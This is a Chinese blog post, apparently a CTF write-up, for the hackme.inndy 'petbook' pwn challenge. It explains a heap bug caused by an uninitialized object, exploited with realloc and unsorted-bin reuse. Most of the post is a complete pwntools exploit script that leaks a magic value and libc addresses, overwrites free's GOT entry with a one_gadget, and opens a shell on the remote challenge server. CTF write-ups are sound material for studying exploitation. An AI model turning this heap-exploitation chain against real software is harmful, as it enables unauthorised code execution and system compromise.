hackme inndy petbook writeup

原创

charlie_heng 于 2018-02-16 20:20:19 发布 362 收藏

分类专栏： pwn

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/charlie_heng/article/details/79330805
版权

pwn 专栏收录该内容
26 篇文章 0 订阅
订阅专栏

这题一直没人做，感觉好像很难，其实是自己吓倒自己

这题的漏洞其实很明显，就是没有初始化对象，所以可以控制新new出来的user的pet的地址和post的地址

这里说下怎么控制

·1. new一个比一个user大，即大于536字节的post
2. edit这个post，将这个post弄成更大的，这个时候realloc会把原来的堆给free掉，然后再new一个新的堆
3. 这个时候再new一个user，因为给realloc那个堆是大于536字节的，是unsorted bin，然后这个时候new user的话会将这个堆分割一部分给user，只要在new那个post的时候往对应地方填上想填的东西就可以控制了

这里可以控制pet和post，但是因为post想打印内容的时候要检查magic，我们又没有泄漏magic，所以这里控制pet的地址

因为控制了pet，所以可以任意写和任意读

方法如下
1. 先new一个user，按照上面方法，new 一个post，edit这个post，将pet的地址指向userdb
2. 这个时候new一个user，打印信息的时候可以打印出堆里面的一个地址
3. 以这个堆地址为基准，用gdb看下新new出来的post的地址与这个地址的偏移，这个时候在post里面弄一个fake pet，然后新new user的时候地址指向这个post，因为fake pet我们可以控制，所以这个时候就可以进行任意读
4. 借任意读先读出magic和libc函数的地址
5. 然后这个时候可以用magic来构造一个通过检测的pet，可以进行任意写，然后用one gadgets填到free那里，然后abandon pet，get到shell

payload如下

```
from pwn import *

debug=0
if debug:
    p=process('./petbook')
    context.log_level='debug'
    gdb.attach(proc.pidof(p)[0])
    e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
    one_gadget=0x3f2d6
else:
    context.log_level='debug'
    p=remote('hackme.inndy.tw', 7710)
    e=ELF('./libc.so')
```

```python
one_gadget=0x45206

def se(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def reg(name,pwd,line=True):
    se('1')
    ru('Username >>')
    if line:
        se(name)
    else:
        p.send(name)
    ru('Password >>')
    se(pwd)
    ru('>>')

def login(name,pwd):
    se('2')
    ru('>>')
    se(name)
    ru('>>')
    se(pwd)
    p.recvuntil('Have Pet: ')
    if p.recv(1)=='Y':
        ru('Name: ')
        name_data=p.recvuntil('\n')[:-1]
        p.recvuntil('Type: ')
        type_data=p.recvuntil('\n')[:-1]
        ru('>>')
        return name_data,type_data
    ru('>>')

def logout():
    se('0')
    ru('>>')

def new_post(title,length,content):
    se('1')
    ru('Title >>')
    se(title)
    ru('Length >>')
    se(str(length))
    ru('Content >>')
    se(content)
    ru('>>')

def edit_post(id,title,length,content):
    se('3')
    ru('id >>')
    se(str(id))
    ru('title >>')
    se(title)
    ru('size >>')
    se(str(length))
    ru('Content >>')
    se(content)
    ru('>>')
```

```python
def pet_adopt(name):
    se('5')
    ru('Name')
    se(name)
    ru('>>')

def pet_rename(name):
    se('6')
    ru('>>')
    se(name)
    ru('>>')

def pet_abandon():
    se('7')

def admin_info():
    se('999')



reg('u1','u1')
login('u1','u1')
new_post('1',700,'a'*520+p64(0x603158-16))
edit_post(2,'1',1500,'a')
logout()


reg('u2','u2')
heap=login('u2','u2')
heap=u32(heap[1]+'\x00'*(4-len(heap[1])))

fake_pet=p64(0xdeadbeef)+p64(0x603164)+p64(0x603038)
pet_offset=0xf30

new_post('2',700,'a'*520+p64(heap+pet_offset))
new_post('3',700,fake_pet)
edit_post(4,'1',1500,'b')
logout()

reg('u3','u3')
data=login('u3','u3')
magic=data[0]
libc=data[1]

magic=u32(magic)
base=u64(libc+'\x00\x00')-e.symbols['puts']

fake_pet2=p64(magic+0x300000000)+p64(0x603018)+p64(0x603018)
pet_offset2=0xd80

new_post('4',700,'c'*520+p64(heap+pet_offset2))
new_post('5',60,fake_pet2)
edit_post(7,'2',1500,'c')
logout()

reg('u4','u4')
login('u4','u4')
```

```
    pet_rename(p64(base+one_gadget)[:-1])
    pet_abandon()

    p.interactive()
```